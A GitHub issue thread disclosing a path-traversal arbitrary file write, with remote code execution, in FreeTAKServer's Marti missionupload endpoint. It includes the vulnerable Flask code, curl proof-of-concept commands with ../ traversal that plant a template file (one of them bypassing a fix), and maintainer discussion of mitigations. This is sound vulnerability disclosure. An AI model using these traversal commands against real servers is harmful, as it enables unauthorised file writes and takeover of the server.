Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Arbitrary File Write End User Device (Marti API) (Remote Code Execution) #293

Closed
Securitybits-io opened this issue Feb 16, 2022 · 13 comments
Assignees
Labels
bug_Normal Normal bug, Server connects to clients but won't sync data
Milestone

Comments

@Securitybits-io
Copy link

End User Device MissionUpload

This attack is done through the Marti RestAPI which is specific to EUDs,
which have been abused over the TCP/8080 or the SSL equivalent (Given a valid user certificate) TCP/8443.

The difference between the WebUI way and the Marti way is that it does not add junk at the end of the file, as the EUDs are responsible for creating valid DataPackages.

Function Sourcecode:

@app.route('/Marti/sync/missionupload', methods=[const.POST])
def upload():
    from FreeTAKServer.model.ServiceObjects.SSLDataPackageVariables import SSLDataPackageVariables
    logger.info('dataoackage upload started')
    file_hash = request.args.get('hash')
    app.logger.info(f"Data Package hash = {str(file_hash)}")
    letters = string.ascii_letters
    uid = ''.join(random.choice(letters) for i in range(4))
    uid = 'uid-' + str(uid)
    filename = request.args.get('filename')
    creatorUid = request.args.get('creatorUid')
    file = request.files.getlist('assetfile')[0]
    directory = Path(dp_directory, file_hash)
    if not Path.exists(directory):
        os.mkdir(str(directory))
    file.save(os.path.join(str(directory), filename))
    fileSize = Path(str(directory), filename).stat().st_size
    callsign = str(
        FlaskFunctions().getSubmissionUser(creatorUid,
                                           dbController))  # fetchone() gives a tuple, so only grab the first element
    FlaskFunctions().create_dp(dbController, uid=uid, Name=filename, Hash=file_hash, SubmissionUser=callsign,
                               CreatorUid=creatorUid, Size=fileSize)
    if USINGSSL == False:
        return "http://" + IP + ':' + str(HTTPPORT) + "/Marti/api/sync/metadata/" + file_hash + "/tool"

    else:
        return "https://" + IP + ':' + str(HTTPPORT) + "/Marti/api/sync/metadata/" + file_hash + "/tool"

Whats visible in the vulnerable code block is that the parameter filename is passed to os.path.join((str(directory), filename)) which when supplied alot of ../ (8 to be exact) it puts the base directory at the root of the filesystem and then the file is put wherever its directed (given write permissions)

Proof of Concept
curl -vvv -F "assetfile=@rce.html" "http://atak.FreeTAKServer.com:8080/Marti/sync/missionupload?hash=/../../../../../../../usr/local/lib/python3.8/dist-packages/FreeTAKServer-UI/app/home/templates/&filename=janne2.html&creatorUid="

Sending the file contents to the missionupload endpoint results in a valid response and browsing to the file on the WebUI results in Code Execution:
arbitrary-file-write_marti_curl

The file will be uploaded to /usr/local/lib/python3.8/dist-packages/FreeTAKServer-UI/app/home/templates which is where the Flask server is hosting its files from.

arbitrary-file-write_marti_result

@brothercorvo brothercorvo added the bug_Normal Normal bug, Server connects to clients but won't sync data label Feb 16, 2022
naman108 added a commit that referenced this issue Feb 17, 2022
@brothercorvo
Copy link
Collaborator

fixed in 1.9.8.5

@Securitybits-io
Copy link
Author

Suggest to re-open this issue as the suggested fix does not in fact fix the arbitrary file upload vulnerability
Tested on a clean install of the updated program which contain the "validate_hash" function.
By appending a "hash=a" to the POST request you bypass the validate hash function as it is a Regexp looking for a-zA-Z0-9
Which removes the ability to direct the location of the written file
Though the missionupload still trusts the input in the filename parameter, there you can put the files location on the filesystem and still able to place the file wherever!
curl -F "assetfile=@test.file" "http://10.0.51.150:8080/Marti/sync/missionupload?hash=a&filename=/../../../../../../.. /tmp/test.file&creatorUid="
image

image

@brothercorvo
Copy link
Collaborator

We will reopen it, but as described before, this is a minor issue, compared to the fact that anyone with access to the network can do real damage.
TAK is created to run on SSL, so the attacker should have a valid credential to perform the above

@brothercorvo brothercorvo reopened this Mar 12, 2022
@Securitybits-io
Copy link
Author

Agreed that the server should run behind a Zerotier network, and preferably with SSL to protect the users etc. Though even if this is tested on the non SSL port, the vulnerability is still present regardless of SSL or not!
And while everyone should be trusted on the network, it is not a good situation when, even a trusted user, can take over the infrastructure through these kind of vulnerabilities!

@brothercorvo
Copy link
Collaborator

brothercorvo commented Mar 12, 2022 via email

@Securitybits-io
Copy link
Author

Securitybits-io commented Mar 13, 2022

Again i'd beg to differ so please correct me where i am wrong! I did follow the installation guide in the documentation
Prompting for the "first start" i pressed enter for all the settings, resulting in a FTSConfig.yaml file!
While i agree that the yaml does not specify a FTS_DP port or there of. the service is still started and listening to incoming traffic
image

image

@brothercorvo
Copy link
Collaborator

Ports open when you install the software:
image

Configure services
image

Ports active after configuration:
image

@Securitybits-io
Copy link
Author

Since the SSL DP Service uses the same API call it is still vulnerable! I just used the TCP DP port for brevity's sake as you can make simple PoCs so whatever you sanitize on the TCP will still work for the SSL!

@brothercorvo
Copy link
Collaborator

@Securitybits-io the SSL DP service now requires a valid certs

@Securitybits-io
Copy link
Author

I mean, will there be a patch in 1.9.9 for input sanitization?
The issue is not an authorization issue, but thats cool it is now requiring cert based auth for SSL DP.
In this case as previously mention in the GH Issue is that the user data is not sanitized in the missionupload function, regardless of SSL or TCP.

You can make some assumptions regarding the data that is sent to the server for that API endpoint and construct some conditional statements in order to break and return a '50# Invalid file sent' much like you did for the hash argument.

For example you know that

  1. The file is always a certain set of deterministic file types, think like, Zip, kml, jpg etc.
  2. the filename argument should not contain / or \ as is a common way of path traversal in filesystems.
  3. You can enforce a certain directory that the file is supposed to be placed in which is relevant, that you can hardcode

This is generally a good requirement to have on all endpoints which a user can control the input on!
This can be a helpful resource, especially in this case: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

@naman108
Copy link
Collaborator

naman108 commented Mar 23, 2022

@Securitybits-io working on applying these fixes, just doing a review of all user input locations so that it's not whack-a-mole with issues

@brothercorvo brothercorvo added this to the 2.8 milestone Sep 7, 2022
@naman108
Copy link
Collaborator

naman108 commented Sep 9, 2022

before this can be closed we need to establish a sustainable and tested fix for the filename serialization and probably user input validation in general, any input would be appreciated

@brothercorvo
Copy link
Collaborator

closing for now, because we got no further input

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug_Normal Normal bug, Server connects to clients but won't sync data
Projects
None yet
Development

No branches or pull requests

4 participants